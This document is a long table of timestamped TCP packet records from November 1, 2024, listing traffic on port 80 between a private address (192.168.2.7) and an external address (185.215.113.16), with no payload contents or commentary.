Nov 1, 2024 12:34:34.018882990 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050272942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050314903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050328016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050338984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050348997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050362110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050368071 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050368071 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050386906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050399065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050403118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050410032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050424099 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050427914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050441027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050451994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050453901 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050468922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050472975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050482035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050492048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050504923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050507069 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050515890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050525904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050532103 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050537109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050548077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050550938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050570965 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050638914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050649881 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050659895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050677061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050683975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050688982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050699949 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050704002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050710917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050721884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050729990 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050734997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050748110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050759077 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050770044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050771952 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050782919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050793886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050806046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050810099 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050822973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050832987 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050837040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050851107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050857067 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050868034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050880909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050890923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050901890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050904036 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050923109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050930023 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050934076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050942898 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050945997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050959110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050968885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050971031 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.050990105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.050996065 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051008940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051019907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051032066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051033974 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051040888 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051054955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051057100 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051068068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051078081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051084042 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051088095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051095963 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051100969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051110029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051126003 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051141024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051182032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051194906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051215887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051227093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051244020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051244974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051264048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051278114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051297903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051299095 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051299095 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051311016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051328897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051340103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051354885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051362991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051378012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051383972 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051383972 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051390886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051397085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051403046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051410913 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051414967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051425934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051444054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051462889 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051462889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051477909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051496029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051505089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051528931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051549911 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051558018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051563025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051580906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051592112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051606894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051621914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051620960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051636934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051661968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051677942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051687002 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051714897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051726103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051759005 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051891088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051908016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051920891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051932096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051945925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051949024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051955938 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051958084 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051968098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051985979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.051986933 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.051999092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052010059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052010059 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052021980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052032948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052035093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052051067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052058935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052064896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052082062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052089930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052093029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052105904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052113056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052118063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052128077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052139044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052150965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052155018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052160025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052171946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052181005 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052184105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052201986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052213907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052217007 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052223921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052236080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052239895 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052247047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052263021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052264929 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052275896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052285910 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052288055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052299976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052310944 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052313089 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052323103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052324057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052371979 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052378893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052390099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052401066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052421093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052547932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052599907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052611113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052622080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052645922 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052670956 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052841902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052885056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.052968979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052987099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.052998066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053008080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053019047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053023100 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053030014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053040981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053050995 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053061962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053071022 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053075075 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053090096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053102016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053107977 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053114891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053132057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053132057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053143978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053153992 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053157091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053168058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053175926 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053205013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053325891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053368092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053378105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053388119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053411961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053416014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053436995 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053456068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053467989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053478956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053492069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053499937 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053527117 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053551912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053564072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053575039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053589106 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053594112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053607941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053612947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053620100 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053638935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053647995 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053651094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053663015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053678989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053680897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053694963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053700924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053725004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053740025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053750992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053776979 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053787947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053792953 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053817034 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053822041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053833961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053848028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053867102 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.053934097 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.053975105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054012060 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054038048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054085970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054097891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054107904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054120064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054122925 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054130077 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054160118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054183960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054239035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054327965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054338932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054363012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054379940 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054425001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054438114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054449081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054466009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054471970 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054480076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054490089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054501057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054513931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054529905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054538012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054541111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054573059 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054611921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054624081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054634094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054646015 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054672003 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054697990 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054709911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054719925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054729939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054754972 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054775953 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054791927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054841042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054878950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.054903984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054948092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054959059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.054984093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055010080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055022955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055032015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055038929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055049896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055061102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055068016 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055073023 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055092096 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055098057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055100918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055141926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055152893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055162907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055183887 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055205107 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055294991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055309057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055329084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055340052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055342913 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055352926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055363894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055386066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055391073 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055398941 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:34.055402994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055416107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055425882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:34.055435896 CET	80	49996	185.215.113.16	192.168.2.7
